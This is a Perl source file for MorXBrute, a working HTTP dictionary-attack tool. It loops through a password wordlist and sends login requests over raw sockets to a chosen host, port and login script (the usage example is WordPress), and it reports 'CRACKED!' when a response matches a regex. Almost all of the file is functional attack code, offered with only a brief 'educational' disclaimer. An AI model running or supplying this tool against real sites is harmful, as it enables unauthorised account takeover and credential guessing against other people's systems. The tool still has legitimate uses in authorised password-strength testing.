#!/usr/bin/perl -w
#
# Tool: MorXBrute
# Author: Simo Ben youssef
# Contact: simo_at_morxploit_dot_com
# Code date: 07 November 2013
# MorXploit Research
# http://www.morxploit.com
#
# Download:
# http://www.morxploit.com/morxbrute
#
# Description:
# MorXBrute is a customizable HTTP dictionary-based password cracking tool written in perl.
# MorXBrute comes with a few payloads for some of the most popular softwares and additionally
# let you add your own payload for your favorite HTTP software or website.
# MorXBrute supports both GET and POST brute forcing.
# See README for more.
#
# Author disclaimer:
# MorXBrute was written for educational, demonstration and testing purposes only.
# Use on your own account and at your own risk.
# Author cannot be held responsible for any malicious use.

use strict; 
use IO::Socket;

my $version = "1.01";
my $updateserver = "www.morxploit.com";
my $latestversion = "morxtools/morxbrute";
my $updatefile = "latest.txt";

if (defined ($ARGV[0]) && $ARGV[0] eq "update") {
&update();
exit;
}

elsif(!defined($ARGV[0] && $ARGV[1] && $ARGV[2] && $ARGV[3])) {
&banner();
&usage();
exit;

print "--- Usage: perl $0 <target:port> <user> <wordlist> <payload file>\n";
print "--- Usage: perl $0 localhost:80 admin passwords.txt payloads/wordpress\n";
print "--- Usage: perl $0 update\n\n";
exit; }

my $target = $ARGV[0];
my ($host, $port)= split(':',$target);

if (!defined ($host && $port)) {
&banner();
&usage();
exit;
}

my $login = $ARGV[1];
my $wordlist = $ARGV[2];
my $payload = $ARGV[3];
my $useragent = "MorXBrute";
my $timestart;
my $password;
my $sock;
my $subbrute;
my ($request, $script, $postdata, $cookievalue, $regex) = "";

open (LIST, $wordlist) || die "[-] Can't find/open $wordlist\n";
open (LIST2, $payload) || die "[-] Can't find/open $payload\n";

while (my $line = <LIST2>) {
chomp ($line);

($request, $script, $postdata, $cookievalue, $regex)= split(',',$line);
}

&banner();
print "[*] target set to $target\n";
print "[*] user set to $login\n";
print "[*] Wordlist set to $wordlist\n";
print "[*] payload set to $payload\n\n";
sleep(2);
print "[+] Cracking ...\n\n";

$timestart = time();

my $linenumber;
while ($password = <LIST>) {
chomp ($password);
$linenumber = "$.";
if ($request eq "POST") {
$subbrute = \&postbrute;
}

elsif ($request eq "GET") {
$subbrute = \&getbrute;
}

else {
print "[-] Unsupported method, use either GET or POST\n";
exit;
}

&$subbrute();

sub postbrute {
my $enc = $password;
$enc =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
my $postdata2 = $postdata;
$postdata2 =~ s/\$user/$login/ig;
$postdata2 =~ s/\$pwd/$enc/ig;
my $post = "$request /$script HTTP/1.1";
my $agent = "User-Agent: $useragent";
my $accept = "Accept: */*";
my $hostname = "Host: $host";
my $cookie = "Cookie: $cookievalue";
my $connection = "Connection: Close";
my $ct = "Content-Type: application/x-www-form-urlencoded";
my $data = "$postdata2";
my $dl = length($data);
my $cl = "Content-Length: $dl";

$sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "$port",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;  

print $sock "$post\n";
print $sock "$agent\n";
print $sock "$accept\n";
print $sock "$hostname\n";
print $sock "$cookie\n";
print $sock "$connection\n";
print $sock "$ct\n";
print $sock "$cl\n\n";
print $sock "$data\n";
}

sub getbrute {
my $enc = $password;
$enc =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
my $getdata = $postdata;
$getdata =~ s/\$user/$login/ig;
$getdata =~ s/\$pwd/$enc/ig;
my $get = "$request /$script?$getdata HTTP/1.1";
my $agent = "User-Agent: $useragent";
my $accept = "Accept: */*";
my $hostname = "Host: $host";
my $cookie = "Cookie: $cookievalue";
my $connection = "Connection: Close";
$sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "$port",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$get\n";
print $sock "$agent\n";
print $sock "$accept\n";
print $sock "$hostname\n";
print $sock "$cookie\n";
print $sock "$connection\n\n";
}

my $success;
while(my $result = <$sock>){
if($result =~ /$regex/){
$success = $1;
}
}

if (!defined $success)
{
print "[-] $password -> Failed\n";
$sock->close();
}

else
{
my $timeend = time();
my $runtime = $timeend - $timestart;
print "==========================================================\n";
print "[+] CRACKED! Your password is $password\n";
print "[+] Found at line $linenumber of $wordlist\n";
print "[+] Cracked in $runtime seconds\n";
print "==========================================================\n\n";
$sock->close();
exit;
close(LIST);
close(LIST2);
}
}

my $timeend = time();
my $runtime = $timeend - $timestart;

print "==========================================================\n";
print "[-] Failed: Couldn't crack the password!\n";
print "[*] Processed $linenumber passwords in $runtime seconds\n";
print "==========================================================\n\n";
exit;

sub update {
print "\n[*] checking for latest version ...\n";
my $get = "GET /$latestversion/$updatefile HTTP/1.1";
my $agent = "User-Agent: MorXBrute-Update";
my $accept = "Accept: */*";
my $hostname = "Host: $updateserver";
my $connection = "Connection: close";
my $sock = new IO::Socket::INET ( PeerAddr => "$updateserver",PeerPort => "80",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;
my $sock2 = new IO::Socket::INET ( PeerAddr => "$updateserver",PeerPort => "80",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock2;
print $sock "$get\n";
print $sock "$agent\n";
print $sock "$accept\n";
print $sock "$hostname\n";
print $sock "$connection\n\n";


my $lv = 1;
while(my $result = <$sock>){
if ($result =~ /MorXBrute.v(.*?).tgz/) {
$lv = $1;
}
}

my $morxbrute;
if ($lv > $version)
{
print "[+] New version is available: MorxBrute v$lv\n";
print "[+] Downloading now ...\n";
$morxbrute = "MorXBrute.v$lv.tgz";
print $sock2 "GET /$latestversion/$morxbrute\n";
print $sock2 "$agent\n";
print $sock2 "$accept\n";
print $sock2 "$hostname\n";
print $sock2 "$connection\n\n";
my $buf = "";
while (sysread($sock2, $buf, 8*1024, length($buf))) {
$buf =~ s/.+?\015?\012\015?\012//s;                  
}
$sock2->close();

open (FH, ">$morxbrute") || die "[-] Can't save to $morxbrute\n";
binmode (FH);
print FH $buf;
print "[+] $morxbrute has been successfuly downloaded!\n\n";
close (FH);
}

else { 
print "[*] No update is available at this time.\n";
print "[*] You have the latest version: MorXBrute v$lv\n\n";
$sock->close();
exit;
}
}

sub banner {
print "\n==========================================================\n";
print "-- MorXBrute v$version Beta HTTP password cracking tool\n";
print "-- By Simo Ben youssef\n";
print "-- www.morxploit.com\n";
print "==========================================================\n\n";
}

sub usage {
print "--- Usage: perl $0 <target:port> <user> <wordlist> <payload file>\n";
print "--- Usage: perl $0 localhost:80 admin passwords.txt payloads/wordpress\n";
print "--- Usage: perl $0 update\n\n";
}

